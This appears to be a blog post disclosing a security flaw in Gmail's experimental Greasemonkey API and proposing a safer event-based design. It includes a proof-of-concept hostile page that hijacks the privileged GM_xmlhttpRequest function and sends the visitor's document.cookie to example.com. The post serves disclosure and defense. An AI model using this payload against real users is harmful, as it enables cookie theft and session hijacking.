Gmail recently released an experimental version of an API to be used by Greasemonkey script authors. To do this, the scripts are supposed to call a function of the gmonkey object.
Now, that's great, no?
Well, a Greasemonkey API is great for sure, but having a gm script call a function of the page poses security risks.
Why this?
There's a greasemonkey API for it's scripts allowing these to do stuff a web page isn't allowed to do:
- GM_log - log messages to the JavaScript Console
- GM_getValue - get script-specific configuration value
- GM_setValue - set script-specific configuration value
- GM_registerMenuCommand - add a menu item to the User Script Commands submenu
- GM_xmlhttpRequest - make an arbitrary HTTP request
Dive Into Greasemonkey, Greasemonkey API Reference
Cool! But what does this have to do with Gmail and there API?
Very much actually. With some little magic, the page can access this API and do some stuff a page is normally not allowed to do:
// Greasemonkey script:
// ==UserScript==
// @name GMail API evil?
// @namespace http://maltekraus.de/Firefox/
// @include file:///e:/dev/greasemonkey.html
// ==/UserScript==
unsafeWindow.gmonkey.load("1.0", {/* define some properties and methods here */});
// evil html page:
<script>
var gmonkey = {
load: function evil_load(version, callback) {
var gmApi = evil_load.caller.__parent__;
// var gmApi = callback.__parent__; // that's the same
gmApi.GM_xmlhttpRequest({
method: "GET",
url: "http://example.com/?" + encodeURIComponent(document.cookie),
headers: { },
onload: function(responseDetails) {
callback.__parent__.GM_log("ha ha!");
document.open();
document.write(responseDetails.responseText);
document.close();
}
});
}
};
</script>
So what does this do?
Well, the page first does a cross-site XMLHttpRequest (which is forbidden normally). When that HTTP request is finished, it logs the string "ha ha!" to the Firefox Error Console, which wouldn't be possible normally as well. Then it replaces the page content with the content of HTTP response. In case of an evil page, it could also call the callbacks pretending to be the real API. A script couldn't tell the difference. It could even rewrite the GM script to deactivate it in case the script isn't liked by the page author.
The solution for a safe API
A safe API could for example use custom DOM Events. A GM script would first add some event listener to the document element listening for e.g. "gmonkey-load". Then it fired an event to notify Gmail to load the rest of the API. This would either use object getters and setters instead of methods (these work in Gecko and Opera afaik which are the browsers supporting user scripts) or some other events like before to pass data to the user script without being insecure:
// helper function to fire a event
Node.prototype.fireEvent = function fireEvent(type) {
var evt = document.createEvent("Event");
evt.initEvent(type, true, false); // bubble, don't be cancelable
this.dispatchEvent(evt);
};
document.addEventListener("gmonkey-10-loaded", function() {
// unsafeWindow.gmonkey is now available, let's access some properties!
}, false);
document.fireEvent("gmonkey-10-doload");
Workaround
Maybe you're a script author and want to make use of the API, but on a safe way? It's horrible, but you can do something like this, losing closures functions and global variables, though:
callFunctionSafely("gmonkey.load", "1.0", {/* callbacks */});
function callFunctionSafely(name /*, argument1, argument2, ...*/) {
var args = [];
for(var i = 1; i < arguments.length; i++)
args.push(escape(uneval(arguments[i])));
location.href = "javascript:" + escape(name) + "(" + args.join(",") + ")";
}